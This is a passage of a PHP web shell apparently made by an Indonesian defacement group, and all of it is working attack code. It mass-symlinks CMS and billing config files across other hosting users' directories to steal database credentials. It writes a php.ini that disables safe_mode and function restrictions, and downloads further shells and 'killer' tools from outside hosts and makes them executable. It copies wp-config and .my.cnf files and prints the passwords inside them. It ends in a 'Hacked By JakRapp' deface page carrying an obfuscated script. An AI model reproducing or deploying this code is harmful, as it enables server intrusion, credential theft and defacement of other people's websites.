1241$passwd=explode("\n",$_POST["passwd"]); echo "<blink><center >tunggu sebentar ya bosq ...</center></blink>";
1242foreach($passwd as $pwd){ $user=trim($pwd);
1243@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'~~>wordpress'.$type.'');
1244@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'~~>wordpress-wp'.$type.'');
1245@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'~~>wordpress-wp-beta'.$type.'');
1246@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'~~>wordpress-beta'.$type.'');
1247@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'~~>wp13-press'.$type.'');
1248@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'~~>wordpress-wordpress'.$type.'');
1249@symlink('/home/'.$user.'/public_html/wordpress/beta/wp-config.php',$user.'~~>wordpress-wordpress-beta'.$type.'');
1250@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'~~>wordpress-news'.$type.'');
1251@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'~~>wordpress-new'.$type.'');
1252@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'~~>wordpress'.$type.'');
1253@symlink('/home/'.$user.'/public_html/web/wp-config.php',$user.'~~>wordpress-web'.$type.'');
1254@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'~~>wordpress-blogs'.$type.'');
1255@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'~~>wordpress-home'.$type.'');
1256@symlink('/home/'.$user.'/public_html/protal/wp-config.php',$user.'~~>wordpress-protal'.$type.'');
1257@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'~~>ordpress-site'.$type.'');
1258@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'~~>wordpress-main'.$type.'');
1259@symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'~~>wordpress-test'.$type.'');
1260@symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'~~>joomla'.$type.'');
1261@symlink('/home/'.$user.'/public_html/configuration.php',$user.'~~>joomla'.$type.'');
1262@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'~~>joomla-home'.$type.'');
1263@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'~~>joomla-joomla'.$type.'');
1264@symlink('/home/'.$user.'/public_html/protal/configuration.php',$user.'~~>joomla-protal'.$type.'');
1265@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'~~>joomla-joo'.$type.'');
1266@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'~~>joomla-cms'.$type.'');
1267@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'~~>joomla-site'.$type.'');
1268@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'~~>joomla-main'.$type.'');
1269@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'~~>joomla-news'.$type.'');
1270@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'~~>joomla-new'.$type.'');
1271@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'~~>joomla-home'.$type.'');
1272@symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'~~>Vbulletin-forum'.$type.'');
1273@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'~~>vbluttin'.$type.'');
1274@symlink('/home/'.$user.'/public_html/vb3/includes/config.php',$user.'~~>vbluttin3'.$type.'');
1275@symlink('/home/'.$user.'/public_html/forum/includes/class_core.php',$user.'~~>vbluttin-class_core.php'.$type.'');
1276@symlink('/home/'.$user.'/public_html/vb/includes/class_core.php',$user.'~~>vbluttin-class_core.php1'.$type.'');
1277@symlink('/home/'.$user.'/public_html/cc/includes/class_core.php',$user.'~~>vbluttin-class_core.php2'.$type.'');
1278@symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'~~>vb1-config'.$type.'');
1279@symlink('/home/'.$user.'/public_html/cpanel/configuration.php',$user.'~~>cpanel'.$type.'');
1280@symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'~~>panel'.$type.'');
1281@symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'~~>host'.$type.'');
1282@symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'~~>hosting'.$type.'');
1283@symlink('/home/'.$user.'/public_html/hosts/configuration.php',$user.'~~>hosts'.$type.'');
1284@symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'~~>zencart'.$type.'');
1285@symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'~~>zencart-shop'.$type.'');
1286@symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'~~>hop-ZCshop'.$type.'');
1287@symlink('/home/'.$user.'/public_html/mk_conf.php',$user.'~~>mk-portale1'.$type.'');
1288@symlink('/home/'.$user.'/public_html/Settings.php',$user.'~~>smf'.$type.'');
1289@symlink('/home/'.$user.'/public_html/smf/Settings.php',$user.'~~>smf-smf'.$type.'');
1290@symlink('/home/'.$user.'/public_html/forum/Settings.php',$user.'~~>smf-forum'.$type.'');
1291@symlink('/home/'.$user.'/public_html/forums/Settings.php',$user.'~~>smf-forums'.$type.'');
1292@symlink('/home/'.$user.'/public_html/upload/includes/config.php',$user.'~~>upload'.$type.'');
1293@symlink('/home/'.$user.'/public_html/incl/config.php',$user.'~~>malay'.$type.'');
1294@symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'~~>clents'.$type.'');
1295@symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'~~>client2'.$type.'');
1296@symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'~~>client'.$type.'');
1297@symlink('/home/'.$user.'/public_html/config/koneksi.php',$user.'~~>lokomedia'.$type.'');
1298@symlink('/home/'.$user.'/public_html/admin/config.php',$user.'~~>webconfig'.$type.'');
1299@symlink('/home/'.$user.'/public_html/admin/conf.php',$user.'~~>webconfig2'.$type.'');
1300@symlink('/home/'.$user.'/public_html/system/sistem.php',$user.'~~>lokomedia1'.$type.'');
1301@symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'~~>Drupal'.$type.'');
1302@symlink('/home/'.$user.'/public_html/e107_config.php',$user.'~~>e107'.$type.'');
1303@symlink('/home/'.$user.'/public_html/datas/config.php',$user.'~~>Seditio'.$type.'');
1304@symlink('/home/'.$user.'/public_html/article/config.php',$user.'~~>Nwahy'.$type.'');
1305@symlink('/home/'.$user.'/public_html/connect.php',$user.'~~>PHP-Fusion'.$type.'');
1306@symlink('/home/'.$user.'/public_html/includes/config.php',$user.'~~>traidnt1'.$type.'');
1307@symlink('/home/'.$user.'/public_html/config.php',$user.'~~>4images'.$type.'');
1308@symlink('/home/'.$user.'/public_html/member/configuration.php',$user.'~~>1member'.$type.'') ;
1309@symlink('/home/'.$user.'/public_html/requires/config.php',$user.'~~>AM4SS-hosting'.$type.'');
1310@symlink('/home/'.$user.'/public_html/supports/includes/iso4217.php',$user.'~~>hostbills-supports'.$type.'');
1311@symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'~~>hostbills-client'.$type.'');
1312@symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'~~>hostbills-support'.$type.'');
1313@symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'~~>hostbills-billing'.$type.'');
1314@symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'~~>hostbills-billings'.$type.'');
1315@symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'~~>hostbills-host'.$type.'');
1316@symlink('/home/'.$user.'/public_html/hosts/includes/iso4217.php',$user.'~~>hostbills-hosts'.$type.'');
1317@symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'~~>hostbills-hosting'.$type.'');
1318@symlink('/home/'.$user.'/public_html/hostings/includes/iso4217.php',$user.'~~>hostbills-hostings'.$type.'');
1319@symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'~~>hostbills'.$type.'');
1320@symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'~~>hostbills-hostbills'.$type.'');
1321@symlink('/home/'.$user.'/public_html/hostbill/includes/iso4217.php',$user.'~~>hostbills-hostbill'.$type.'');
1322@symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'~~>billing'.$type.'');
1323@symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'~~>whm-manage'.$type.'');
1324@symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'~~>whm-my'.$type.'');
1325@symlink('/home/'.$user.'/public_html/myshop/configuration.php',$user.'~~>whm-myshop'.$type.'');
1326@symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'~~>sucure-whm'.$type.'');
1327@symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'~~>sucure-whmcs'.$type.'');
1328}
1329echo 'Selesai mas/mba bro untuk melihat hasilnya klik ~~> <blink><a href='.$folfig.'>'.$folfig.'</a></blink>';
1330}
1331}
1332?>
1333<?php
1334if (isset($_GET['jak']) && ($_GET['jak'] == 'auto')) {
1335?>
1336<form action="?&jak=auto" method="post">
1337<?php
1338echo "<html><head><title>MATAMU PICEK !!!!</title>";
1339echo "<body bgcolor='black'>";
1340echo "<font color='yellow'><center>-=[ IDBTE4M ]=- -=[ HGL10]=- -=[ BN ]=-</center></font><br/><br/><form method='POST'>";
1341echo "<div align='center'>";
1342echo "<input type='submit' name='jak' value='IJIN SERVER'><br/> <br/>";
1343echo "</div>";
1344echo "<div align='center'>";
1345echo "<input type='submit' name='te4m' value='-=[ HsH ]=-'> ";
1346echo "<input type='submit' name='te4m1' value='-=[ AUTO ]=-'> ";
1347echo "<input type='submit' name='te4m2' value='-=[ WHM KILL ]=-'> ";
1348echo "<input type='submit' name='te4m3' value='-=[ DM SHELL ]=-'> ";
1349echo "<input type='submit' name='te4m4' value='-=[ BN CGI ]=-'></p> ";
1350echo "<input type='submit' name='te4m5' value='-=[ SABUN ]=-'></p> ";
1351echo "<input type='submit' name='te4m6' value='-=[ WHMCS KILL ]=-'></p> ";
1352echo "</div>";
1353
1354
1355$sh = 'file_get_contents';
1356
1357if($_POST['jak']) {
1358$ini = "php.ini";
1359$open = fopen($ini, 'w');
1360$source = ("safe_mode = OFF n
1361disable_functions = NONE n
1362safe_mode_gid = OFF n
1363open_basedir = OFF n
1364register_globals = ON n
1365exec = ON n
1366shell_exec = ON n");
1367fwrite($open, $source);
1368echo "<font color='lime'>";
1369if($open) {
1370echo '<hr><p>ijin diterima, silahkan pilih tools sesuai keinginan :) </p>';
1371}
1372else {
1373echo "<font color='red'>";
1374echo '<hr><p>GAGAL kang </p>';
1375echo "</font>";
1376fclose($open);
1377} }
1378
1379if($_POST['te4m']) {
1380$cgi = 'http://el-ro.yu.tl/files/in.zip';
1381$get11 = $sh($cgi);
1382$idbk = fopen('hsh.php', 'w');
1383fwrite($idbk,$get11);
1384fclose($idbk);
1385{
1386@chmod('hsh.php',0755);
1387}
1388echo "<font color='aqua'>";
1389echo "<hr>shell hsh sukses dibuat :D <br/>
1390Silahkan kunjungi http://alamat-domain-kamu/hsh.php atau lihat hasilnya <a href='hsh.php' target='_blank'>DISINI</a></center></br>";
1391echo "</font>";
1392}
1393echo "</font>";
1394
1395if($_POST['te4m1']) {
1396$cgi = 'http://kefiex.yu.tl/files/ma.zip';
1397$get11 = $sh($cgi);
1398$idbk = fopen('ma.php', 'w');
1399fwrite($idbk,$get11);
1400fclose($idbk);
1401{
1402@chmod('ma.php',0755);
1403}
1404echo "<font color='aqua'>";
1405echo "<hr>tools sukses dibuat :D <br/>
1406Silahkan kunjungi http://alamat-domain-kamu/info.php atau lihat hasilnya <a href='ma.php' target='_blank'>DISINI</a></center></br>";
1407echo "</font>";
1408}
1409echo "</font>";
1410
1411if($_POST['te4m2']) {
1412$cgi = 'http://el-ro.yu.tl/files/whm.zip';
1413$get11 = $sh($cgi);
1414$idbk = fopen('whm.php', 'w');
1415fwrite($idbk,$get11);
1416fclose($idbk);
1417{
1418@chmod('whm.php',0755);
1419}
1420echo "<font color='aqua'>";
1421echo "<hr>whm killer sukses dibuat :D <br/>
1422Silahkan kunjungi http://alamat-domain-kamu/whm.php atau lihat hasilnya <a href='whm.php' target='_blank'>DISINI</a></center></br>";
1423echo "</font>";
1424}
1425echo "</font>";
1426
1427if($_POST['te4m3']) {
1428$cgi = 'http://el-ro.yu.tl/files/dm.zip';
1429$get11 = $sh($cgi);
1430$idbk = fopen('links.php', 'w');
1431fwrite($idbk,$get11);
1432fclose($idbk);
1433{
1434@chmod('links.php',0755);
1435}
1436echo "<font color='aqua'>";
1437echo "<hr>shell DM sukses dibuat :D <br/>
1438Silahkan kunjungi http://alamat-domain-kamu/links.php atau lihat hasilnya <a href='links.php' target='_blank'>DISINI</a></center></br>";
1439echo "</font>";
1440}
1441echo "</font>";
1442if($_POST['te4m5']) {
1443$cgi = 'http://kefiex.yu.tl/files/sabun.zip';
1444$get11 = $sh($cgi);
1445$idbk = fopen('sabun.php', 'w');
1446fwrite($idbk,$get11);
1447fclose($idbk);
1448{
1449@chmod('sabun.php',0755);
1450}
1451echo "<font color='aqua'>";
1452echo "<hr>sabun massal :D <br/>
1453Silahkan kunjungi http://alamat-domain-kamu/sabun.php atau lihat hasilnya <a href='sabun.php' target='_blank'>DISINI</a></center></br>";
1454echo "</font>";
1455}
1456echo "</font>";
1457if($_POST['te4m6']) {
1458$cgi = 'http://kefiex.yu.tl/files/olenk.zip';
1459$get11 = $sh($cgi);
1460$idbk = fopen('bn.php', 'w');
1461fwrite($idbk,$get11);
1462fclose($idbk);
1463{
1464@chmod('bn.php',0755);
1465}
1466echo "<font color='aqua'>";
1467echo "<hr>config kill :D <br/>
1468Silahkan kunjungi http://alamat-domain-kamu/bn.php atau lihat hasilnya <a href='bn.php' target='_blank'>DISINI</a></center></br>";
1469echo "</font>";
1470}
1471echo "</font>";
1472if($_POST['te4m4']) {
1473$cgi = 'http://kefiex.yu.tl/files/isis.zip';
1474$get11 = $sh($cgi);
1475$idb1k = fopen('idb2.php', 'w');
1476fwrite($idb1k,$get11);
1477fclose($idb1k);
1478{
1479@chmod('idb2.php',0755);
1480}
1481echo "<font color='aqua'>";
1482echo "<hr>CGIProxy sukses dibuat :D <br/>
1483Silahkan kunjungi http://alamat-domain-kamu/.pl atau lihat hasilnya <a href='idb2.php' target='_blank'>DISINI</a></center></br>";
1484echo "</font>";
1485}
1486echo "</font>";
1487}
1488?>
1489
1490<?php
1491if (isset($_GET['jak']) && ($_GET['jak'] == 'wp2')) { ?>
1492<form action="?jak=wp2" method="post">
1493<?php
1494@ini_set('display_errors',0);
1495function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
1496 $ar0=explode($marqueurDebutLien, $text);
1497 $ar1=explode($marqueurFinLien, $ar0[$i]);
1498 return trim($ar1[0]);
1499}
1500
1501echo "<center>";
1502$d0mains = @file('/etc/named.conf');
1503$domains = scandir("/var/named");
1504
1505if ($domains or $d0mains)
1506{
1507 $domains = scandir("/var/named");
1508 if($domains) {
1509echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> wp-config </th></tr>";
1510$count=1;
1511$dc = 0;
1512$list = scandir("/var/named");
1513foreach($list as $domain){
1514if(strpos($domain,".db")){
1515$domain = str_replace('.db','',$domain);
1516$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1517$dirz = '/home/'.$owner['name'].'/public_html/wp-config.php';
1518$path = getcwd();
1519
1520if (is_readable($dirz)) {
1521copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
1522$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
1523$password=entre2v2($p,'password="','"');
1524echo "<tr><td>".$count++."</td><td><a href='http://".$domain."/wp-login.php' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
1525$dc++;
1526}
1527
1528}
1529}
1530echo '</table>';
1531$total = $dc;
1532echo '<br><div class="result">Wp config Found = '.$total.'</h3><br />';
1533echo '</center>';
1534}else{
1535$d0mains = @file('/etc/named.conf');
1536 if($d0mains) {
1537echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> wp-config </th></tr>";
1538$count=1;
1539$dc = 0;
1540$mck = array();
1541foreach($d0mains as $d0main){
1542 if(@eregi('zone',$d0main)){
1543 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1544 flush();
1545 if(strlen(trim($domain[1][0])) >2){
1546 $mck[] = $domain[1][0];
1547 }
1548 }
1549}
1550$mck = array_unique($mck);
1551$usr = array();
1552$dmn = array();
1553foreach($mck as $o) {
1554 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1555 $usr[] = $infos['name'];
1556 $dmn[] = $o;
1557}
1558array_multisort($usr,$dmn);
1559$dt = file('/etc/passwd');
1560$passwd = array();
1561foreach($dt as $d) {
1562 $r = explode(':',$d);
1563 if(strpos($r[5],'home')) {
1564 $passwd[$r[0]] = $r[5];
1565 }
1566}
1567$l=0;
1568$j=1;
1569foreach($usr as $r) {
1570$dirz = '/home/'.$r.'/public_html/wp-config.php';
1571$path = getcwd();
1572if (is_readable($dirz)) {
1573copy($dirz, ''.$path.'/'.$r.'.txt');
1574$p=file_get_contents(''.$path.'/'.$r.'.txt');
1575$password=entre2v2($p,'password="','"');
1576echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
1577$dc++;
1578 flush();
1579 $l=$l?0:1;
1580 $j++;
1581 }
1582 }
1583 }
1584echo '</table>';
1585$total = $dc;
1586echo '<br><div class="result">Total config Found = '.$total.'</h3><br />';
1587echo '</center>';
1588
1589}
1590}else{
1591echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
1592}
1593echo "<center>";
1594$d0mains = @file('/etc/named.conf');
1595$domains = scandir("/var/named");
1596
1597if ($domains or $d0mains)
1598{
1599 $domains = scandir("/var/named");
1600 if($domains) {
1601echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> config </th></tr>";
1602$count=1;
1603$dc = 0;
1604$list = scandir("/var/named");
1605foreach($list as $domain){
1606if(strpos($domain,".db")){
1607$domain = str_replace('.db','',$domain);
1608$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
1609$dirz = '/home/'.$owner['name'].'/public_html/configuration.php';
1610$path = getcwd();
1611
1612if (is_readable($dirz)) {
1613copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
1614$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
1615$password=entre2v2($p,'password="','"');
1616echo "<tr><td>".$count++."</td><td><a href='http://".$domain."/wp-login.php' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
1617$dc++;
1618}
1619
1620}
1621}
1622echo '</table>';
1623$total = $dc;
1624echo '<br><div class="result">Total config Found = '.$total.'</h3><br />';
1625echo '</center>';
1626}else{
1627$d0mains = @file('/etc/named.conf');
1628 if($d0mains) {
1629echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> config </th></tr>";
1630$count=1;
1631$dc = 0;
1632$mck = array();
1633foreach($d0mains as $d0main){
1634 if(@eregi('zone',$d0main)){
1635 preg_match_all('#zone "(.*)"#',$d0main,$domain);
1636 flush();
1637 if(strlen(trim($domain[1][0])) >2){
1638 $mck[] = $domain[1][0];
1639 }
1640 }
1641}
1642$mck = array_unique($mck);
1643$usr = array();
1644$dmn = array();
1645foreach($mck as $o) {
1646 $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
1647 $usr[] = $infos['name'];
1648 $dmn[] = $o;
1649}
1650array_multisort($usr,$dmn);
1651$dt = file('/etc/passwd');
1652$passwd = array();
1653foreach($dt as $d) {
1654 $r = explode(':',$d);
1655 if(strpos($r[5],'home')) {
1656 $passwd[$r[0]] = $r[5];
1657 }
1658}
1659$l=0;
1660$j=1;
1661foreach($usr as $r) {
1662$dirz = '/home/'.$r.'/.my.cnf';
1663$path = getcwd();
1664if (is_readable($dirz)) {
1665copy($dirz, ''.$path.'/'.$r.'.txt');
1666$p=file_get_contents(''.$path.'/'.$r.'.txt');
1667$password=entre2v2($p,'password="','"');
1668echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
1669$dc++;
1670 flush();
1671 $l=$l?0:1;
1672 $j++;
1673 }
1674 }
1675 }
1676echo '</table>';
1677$total = $dc;
1678echo '<br><div class="result">Total cp = '.$total.'</h3><br />';
1679echo '</center>';
1680
1681}
1682}else{
1683echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
1684}
1685
1686echo "<br>© <font color='#FF0000'>./elro-BN404</font> | BN-IDBTE4M";
1687echo "</body></html>";
1688}
1689?>
1690<?php
1691if (isset($_GET['jak']) && ($_GET['jak'] == 'wpmas')) { ?>
1692<form action="?jak=wpmas" method="post">
1693<style>
1694body
1695{
1696 background: #0f0e0d;
1697 color: #FF9933;
1698 padding: 0px;
1699}
1700a:link, body_alink
1701{
1702 color: #FF9933;
1703 text-decoration: none;
1704}
1705a:visited, body_avisited
1706{
1707 color: #FF9933;
1708 text-decoration: none;
1709}
1710a:hover, a:active, body_ahover
1711{
1712 color: #FFFFFF;
1713 text-decoration: none;
1714}
1715td, th, p, li,table
1716{
1717
1718 background: #2e2b28;
1719 border:1px solid #524f46;
1720}
1721input
1722{
1723 border: 1px solid;
1724 cursor: default;
1725
1726 overflow: hidden;
1727 background: #2e2b28;
1728 color: #ffffff;
1729}textarea
1730{
1731 border: 1px solid;
1732 cursor: default;
1733
1734 overflow: hidden;
1735 background: #2e2b28;
1736 color: #ffffff;
1737}
1738button
1739{
1740 border: 1px solid;
1741 cursor: default;
1742
1743 overflow: hidden;
1744 background: #2e2b28;
1745 color: #ffffff;
1746}
1747</style>
1748</head>
1749<body bgcolor="black">
1750</center>
1751<form method="POST" action="" >
1752<center>
1753<table border='1'><tr><td>List of All Symlink</td><td>
1754<input type="text" name="url" size="100" value="list.txt"></td></tr>
1755<tr><td>Index</td><td>
1756<textarea name="index" cols='50' rows='10' >
1757<html>
1758<head>
1759<!-- SEO Meta Tag -->
1760<meta content='Hacked By JakRapp' name='description'/>
1761<meta content='Hacked By JakRapp, Tested By JakRapp, JakRapp Was Here, wned By JakRapp, JakRapp Come Back, Security By JakRapp, Tusboled By JakRapp, Anon JakRapp, Hacker JakRapp, Haxor JakRapp, JakRapp One Comando, sabun by jakrapp, JakRapp Defacer, Deface By JakRapp' name='keywords'/>
1762<meta content='index,follow' name='robots'/>
1763<meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
1764<meta content='website' name='generator'/>
1765<meta content='general' name='rating'/>
1766<!-- SEO Title Tag -->
1767<title>Hacked By JakRapp</title>
1768<link href='http://www.jakrapp.com/favicon.ico' rel='icon' type='image/x-icon'/>
1769<meta content='text/html;charset=UTF-8' http-equiv='Content-Type'/>
1770<meta content='IE=edge,chrome=1' http-equiv='X-UA-Compatible'/>
1771<meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
1772<meta content='Hacked By JakRapp' name='description'/>
1773<script src='http://code.jquery.com/jquery-latest.min.js'></script>
1774
1775<style>
1776body{
1777font-family: 'courier new';
1778font-size:80%;
1779color: #28FE14;
1780background: url('http://2.bp.blogspot.com/-LPgZM8E1nKE/VA_RSPtWNvI/AAAAAAAAAu4/Dzs4tTNniFw/s1600/1w2w3.png') center fixed;
1781background-size: cover;
1782-webkit-background-size: cover;
1783-moz-background-size: cover;
1784-o-background-size: cover;
1785}
1786}
1787
1788.xBody{
1789width:660px;
1790height:450px;
1791position:absolute;
1792z-index: 9;
1793}
1794.ssh{
1795display:none;
1796z-index: 9;
1797}
1798.sshBox{
1799height:300px;
1800border: 4px solid white;
1801 -moz-border-radius: 4px;
1802 -webkit-border-radius: 4px;
1803 -o-border-radius: 4x;
1804 -khtml-border-radius: 4px;
1805 border-radius: 4px;
1806 z-index: 9;
1807}
1808.sshHead{
1809margin-bottom: 5px;
1810color:black;
1811font-weight: bold;
1812background-color: white;
1813height:20px;
1814z-index: 9;
1815
1816}
1817
1818.greenBox{
1819padding-left: 3px;
1820position: absolute;
1821height:22px;
1822border: 1px solid #28FE14;
1823z-index: 9;
1824}
1825.picz{
1826position: absolute;
1827width:500px;
1828height:80%;
1829display:none;
1830right:2px;
1831top:2px;
1832}
1833#mg img:hover {
1834-webkit-animation:tremer 0.5s linear infinite;
1835-moz-animation:tremer 0.5s linear infinite;
1836-o-animation:tremer 0.5s linear infinite;
1837animation:tremer 0.5s linear infinite;
1838}
1839.neon{<!--coleur lootz-->
1840color:blue;
1841text-shadow: 0 0 5px red,0 0 10px red, 0 0 30px orange, 0 0 45px yellow, 0 0 60px red;
1842}
1843.like{border:4px double yellow;
1844box-shadow:0px 2px 20px white;
1845border-radius:10px;
1846padding:9px;
1847height:310px;}
1848#mg img{border:4px double yellow;
1849
1850border-radius:10px;
1851opacity:0.75;
1852-moz-opacity: 0.75;
1853filter: alpha(opacity=75);
1854}
1855</style>
1856</head>
1857<body onselectstart='return false' ondragstart='return false' oncontextmenu='return false' onLoad='writetext()'>
1858<Script Language='Javascript'>
1859<!-- Lol Many scripts -->
1860<!--
1861document.write(unescape('%3C%53%63%72%69%70%74%20%4C%61%6E%67%75%61%67%65%3D%27%4A%61%76%61%73%63%72%69%70%74%27%3E%0A%3C%21%2D%2D%20%48%54%4D%4C%20%45%6E%63%72%79%70%74%69%6F%6E%20%62%79%20%4D%61%72%6B%65%74%61%63%74%69%63%6F%2E%63%6F%6D%20%2D%2D%3E%0A%3C%21%2D%2D%0A%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%27%25%33%43%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%30%25%34%43%25%36%31%25%36%45%25%36%37%25%37%35%25%36%31%25%36%37%25%36%35%25%33%44%25%32%37%25%34%41%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%32%37%25%33%45%25%30%41%25%33%43%25%32%31%25%32%44%25%32%44%25%32%30%25%34%38%25%35%34%25%34%44%25%34%43%25%32%30%25%34%35%25%36%45%25%36%33%25%37%32%25%37%39%25%37%30%25%37%34%25%36%39%25%36%46%25%36%45%25%32%30%25%36%32%25%37%39%25%32%30%25%34%44%25%36%31%25%37%32%25%36%42%25%36%35%25%37%34%25%36%31%25%36%33%25%37%34%25%36%39%25%36%33%25%36%46%25%32%45%25%36%33%25%36%46%25%36%44%25%32%30%25%32%44%25%32%44%25%33%45%25%30%41%25%33%43%25%32%31%25%32%44%25%32%44%25%30%41%25%36%34%25%36%46%25%36%33%25%37%35%25%36%44%25%36%35%25%36%45%25%37%34%25%32%45%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%37%35%25%36%45%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%34%33%25%32%35%25%33%36%25%33%32%25%32%35%25%33%36%25%34%36%25%32%35%25%33%36%25%33%34%25%32%35%25%33%37%25%33%39%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%34%36%25%32%35%25%33%36%25%34%35%25%32%35%25%33%36%25%34%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%39%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%34%36%25%32%35%25%33%37%25%33%37%25%32%35%25%33%36%25%34%35%25%32%35%25%33%33%25%34%34%25%32%35%25%33%32%25%33%32%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%34%35%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%33%36%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%34%33%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%34%35%25%32%35%25%33%30%25%34%31%25%32%37%25%32%39%25%32%39%25%33%42%25%30%41%25%32%46%25%32%46%25%32%44%25%32%44%25%33%45%25%30%41%25%33%43%25%32%46%25%35%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%45%27%29%29%3B%0A%2F%2F%2D%2D%3E%0A%3C%2F%53%63%72%69%70%74%3E'));
1862//-->
1863</Script>
1864<p>
1865<p>
1866<br>
1867<b><font color='blue' face='consolas' size='4'>
1868<p align='center' class='style2'><font face='Trajan Pro' size='10' color='Green' style='text-shadow: 2px 0px .2em black, -2px 2px .2em Darkcyan, -2px -2px .2em black'><b><font color='yellow'>Hacked By JakRapp</font><p>
1869<font color='blue' face='consolas' size='4'>
